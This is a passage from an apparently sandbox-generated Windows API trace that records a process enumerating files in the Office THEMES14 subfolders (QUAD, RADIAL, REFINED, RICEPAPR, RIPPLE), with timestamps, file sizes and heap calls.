nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0083.980] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0083.981] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.981] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.981] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.981] GetProcessHeap () returned 0x550000 [0083.981] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.981] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0083.981] GetProcessHeap () returned 0x550000 [0083.981] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0084.496] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.496] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0084.496] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0084.497] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0084.497] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0084.497] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0084.497] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0084.497] GetProcessHeap () returned 0x550000 [0084.497] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0084.497] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0084.498] GetProcessHeap () returned 0x550000 [0084.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0084.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0084.901] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.901] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0084.901] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0084.901] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0084.902] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0084.902] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0084.902] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0084.902] GetProcessHeap () returned 0x550000 [0084.902] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0084.902] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0084.902] GetProcessHeap () returned 0x550000 [0084.903] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0084.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0084.903] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.903] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0084.903] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0084.904] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0084.904] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0084.904] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0084.904] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0084.904] GetProcessHeap () returned 0x550000 [0084.904] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0084.904] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0084.904] GetProcessHeap () returned 0x550000 [0084.905] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0084.905] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0084.948] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.948] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0084.948] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0084.948] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0084.949] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0084.949] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0084.949] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0084.949] GetProcessHeap () returned 0x550000 [0084.949] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0084.949] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0084.950] GetProcessHeap () returned 0x550000 [0084.950] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0084.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0084.950] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.950] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0084.951] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0084.951] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0084.951] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0084.951] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, 